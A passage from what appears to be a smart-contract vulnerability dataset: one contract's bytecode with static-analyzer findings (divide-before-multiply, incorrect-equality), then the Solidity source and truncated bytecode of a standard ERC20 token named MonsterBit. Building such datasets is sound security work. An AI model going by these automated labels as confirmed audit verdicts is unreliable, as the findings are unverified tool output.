706f73697420360841b604482015290519081900360640190fd5b60006113e2611216565b600654604080516370a0823160e01b815230600482015290519293506000926101009092046001600160a01b0316916370a0823191602480820192602092909190829003018186803b15801561143757600080fd5b505afa15801561144b573d6000803e3d6000fd5b505050506040513d602081101561146157600080fd5b50516006549091506114839061010090046001600160a01b0316333087611e2a565b600654604080516370a0823160e01b8152306004820152905160009261010090046001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156114d357600080fd5b505afa1580156114e7573d6000803e3d6000fd5b505050506040513d60208110156114fd57600080fd5b50519050611511818363ffffffff611cf316565b945060105485111561155d576040805162461bcd60e51b815260206004820152601060248201526f03e746f74616c4465706f7369744361760841b604482015290519081900360640190fd5b60006115676107a9565b611572575084611591565b61158e846109696115816107a9565b899063ffffffff611b5516565b90505b61159b3382611e8a565b5050336000908152600a6020526040902042905550505050565b600c5481565b6013546001600160a01b031681565b6011546001600160a01b03163314611617576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6000611621610d64565b60125460065491925061164c9161010090046001600160a01b0390811691168363ffffffff611dd316565b6012546006546040805163b02bf4b960e01b81526101009092046001600160a01b03908116600484015260248301859052905192169163b02bf4b99160448082019260009290919082900301818387803b1580156116a957600080fd5b505af1158015610bc9573d6000803e3d6000fd5b60096020526000908152604090205460ff1681565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60075481565b600654604080516370a0823160e01b81523360048201529051610f759261010090046001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561175457600080fd5b505afa158015611768573d6000803e3d6000fd5b505050506040513d602081101561177e57600080fd5b5051611322565b6011546001600160a01b031633146117d2576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b601055565b6012546001600160a01b031681565b60085481565b60065461010090046001600160a01b031681565b600f5481565b3390565b6001600160a01b03831661184f5760405162461bcd60e51b81526004018080602001828103825260248152602001806122fa6024913960400191505060405180910390fd5b6001600160a01b0382166118945760405162461bcd60e51b81526004018080602001828103825260228152602001806122236022913960400191505060405180910390fd5b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b03831661193b5760405162461bcd60e51b81526004018080602001828103825260258152602001806122d56025913960400191505060405180910390fd5b6001600160a01b0382166119805760405162461bcd60e51b81526004018080602001828103825260238152602001806121de6023913960400191505060405180910390fd5b6001600160a01b03831660009081526001602052604090205443116119ec576040805162461bcd60e51b815260206004820152601c60248201527f45524332303a2073656e646572206163636f756e74206c6f636b656400000000604482015290519081900360640190fd5b611a2f81604051806060016040528060268152602001612245602691396001600160a01b038616600090815260208190526040902054919063ffffffff611abe16565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611a64908263ffffffff611d3516565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008184841115611b4d5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611b12578181015183820152602001611afa565b50505050905090810190601f168015611b3f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082611b64575060006107a3565b82820282848281611b7157fe5b0414611bae5760405162461bcd60e51b815260040180806020018281038252602181526020018061226b6021913960400191505060405180910390fd5b9392505050565b6000611bae83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f84565b6001600160a01b038216611c3c5760405162461bcd60e51b81526004018080602001828103825260218152602001806122b46021913960400191505060405180910390fd5b611c7f81604051806060016040528060228152602001612201602291396001600160a01b038516600090815260208190526040902054919063ffffffff611abe16565b6001600160a01b038316600090815260208190526040902055600354611cab908263ffffffff611cf316565b6003556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6000611bae83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611abe565b600082820183811015611bae576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b336000908152600a6020526040812054420362093a80811115611db6575050600e54610788565b62015180811115611dcb575050600d54610788565b5050600c5490565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052611e25908490611fe9565b505050565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052611e84908590611fe9565b50505050565b6001600160a01b038216611ee5576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600354611ef8908263ffffffff611d3516565b6003556001600160a01b038216600090815260208190526040902054611f24908263ffffffff611d3516565b6001600160a01b038316600081815260208181526040808320949094556001815283822043905583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b60008183611fd35760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611b12578181015183820152602001611afa565b506000838581611fdf57fe5b0495945050505050565b611ffb826001600160a01b03166121a1565b61204c576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b6020831061208a5780518252601f19909201916020918201910161206b565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146120ec576040519150601f19603f3d011682016040523d82523d6000602084013e6120f1565b606091505b509150915081612148576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115611e845780806020019051602081101561216457600080fd5b5051611e845760405162461bcd60e51b815260040180806020018281038252602a81526020018061234c602a913960400191505060405180910390fd5b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081158015906121d55750808214155b94935050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734465706f73697420616e64207769746864726177206d757374206265203630207365636f6e6473206170617274215361666545524332303a204552433230206f7065726174696f6e20646964206e6f74207375636365656445524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a723158203a8c464e412656e3ebe50a52fdd6951041d9b89ee81a26121e6e365faea5f6b964736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
7,432
0x64d2d66050c540116a02a49aeda827af67bb1475
pragma solidity ^0.4.18; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); Burn(burner, _value); Transfer(burner, address(0), _value); } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is BurnableToken, Pausable { address public icoContract; function setIcoContract(address _icoContract) public onlyOwner { require(_icoContract != address(0)); icoContract = _icoContract; } function removeIcoContract() public onlyOwner { icoContract = address(0); } modifier whenNotPausedOrIcoContract() { require(icoContract == msg.sender || !paused); _; } function transfer(address _to, uint256 _value) public whenNotPausedOrIcoContract returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is PausableToken { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract DetailedERC20 { string public name; string public symbol; uint8 public decimals; function DetailedERC20(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } } contract MonsterBitToken is MintableToken, DetailedERC20 { function MonsterBitToken() public DetailedERC20("MonsterBit", "MB", 18) { } }
0x608060405260043610610133576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461013857806306fdde0314610167578063095ea7b3146101f757806318160ddd1461025c57806323b872dd1461028757806328159ef61461030c578063313ce567146103235780633f4ba83a1461035457806340c10f191461036b57806342966c68146103d05780635c975abb146103fd578063661884631461042c57806370a08231146104915780637d64bcb4146104e85780638456cb59146105175780638da5cb5b1461052e57806395d89b4114610585578063a9059cbb14610615578063c66e40951461067a578063d73dd623146106d1578063dd62ed3e14610736578063e09678fd146107ad578063f2fde38b146107f0575b600080fd5b34801561014457600080fd5b5061014d610833565b604051808215151515815260200191505060405180910390f35b34801561017357600080fd5b5061017c610846565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101bc5780820151818401526020810190506101a1565b50505050905090810190601f1680156101e95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020357600080fd5b50610242600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108e4565b604051808215151515815260200191505060405180910390f35b34801561026857600080fd5b50610271610914565b6040518082815260200191505060405180910390f35b34801561029357600080fd5b506102f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061091e565b604051808215151515815260200191505060405180910390f35b34801561031857600080fd5b50610321610950565b005b34801561032f57600080fd5b506103386109f0565b604051808260ff1660ff16815260200191505060405180910390f35b34801561036057600080fd5b50610369610a03565b005b34801561037757600080fd5b506103b6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ac3565b604051808215151515815260200191505060405180910390f35b3480156103dc57600080fd5b506103fb60048036038101908080359060200190929190505050610ca9565b005b34801561040957600080fd5b50610412610e61565b604051808215151515815260200191505060405180910390f35b34801561043857600080fd5b50610477600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e74565b604051808215151515815260200191505060405180910390f35b34801561049d57600080fd5b506104d2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ea4565b6040518082815260200191505060405180910390f35b3480156104f457600080fd5b506104fd610eec565b604051808215151515815260200191505060405180910390f35b34801561052357600080fd5b5061052c610fb4565b005b34801561053a57600080fd5b50610543611075565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561059157600080fd5b5061059a61109b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105da5780820151818401526020810190506105bf565b50505050905090810190601f1680156106075780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561062157600080fd5b50610660600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611139565b604051808215151515815260200191505060405180910390f35b34801561068657600080fd5b5061068f6111c1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106dd57600080fd5b5061071c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111e7565b604051808215151515815260200191505060405180910390f35b34801561074257600080fd5b50610797600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611217565b6040518082815260200191505060405180910390f35b3480156107b957600080fd5b506107ee600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061129e565b005b3480156107fc57600080fd5b50610831600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061137a565b005b600460149054906101000a900460ff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108dc5780601f106108b1576101008083540402835291602001916108dc565b820191906000526020600020905b8154815290600101906020018083116108bf57829003601f168201915b505050505081565b6000600360149054906101000a900460ff1615151561090257600080fd5b61090c83836114d2565b905092915050565b6000600154905090565b6000600360149054906101000a900460ff1615151561093c57600080fd5b6109478484846115c4565b90509392505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109ac57600080fd5b6000600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600760009054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a5f57600080fd5b600360149054906101000a900460ff161515610a7a57600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b2157600080fd5b600460149054906101000a900460ff16151515610b3d57600080fd5b610b528260015461197e90919063ffffffff16565b600181905550610ba9826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461197e90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610cf857600080fd5b339050610d4c826000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199c90919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610da38260015461199c90919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff16151515610e9257600080fd5b610e9c83836119b5565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f4a57600080fd5b600460149054906101000a900460ff16151515610f6657600080fd5b6001600460146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561101057600080fd5b600360149054906101000a900460ff1615151561102c57600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111315780601f1061110657610100808354040283529160200191611131565b820191906000526020600020905b81548152906001019060200180831161111457829003601f168201915b505050505081565b60003373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806111a45750600360149054906101000a900460ff16155b15156111af57600080fd5b6111b98383611c46565b905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360149054906101000a900460ff1615151561120557600080fd5b61120f8383611e65565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112fa57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561133657600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113d657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561141257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561160157600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561164e57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156116d957600080fd5b61172a826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199c90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117bd826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461197e90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061188e82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199c90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080828401905083811015151561199257fe5b8091505092915050565b60008282111515156119aa57fe5b818303905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611ac6576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b5a565b611ad9838261199c90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611c8357600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611cd057600080fd5b611d21826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199c90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611db4826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461197e90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673fffffffffffff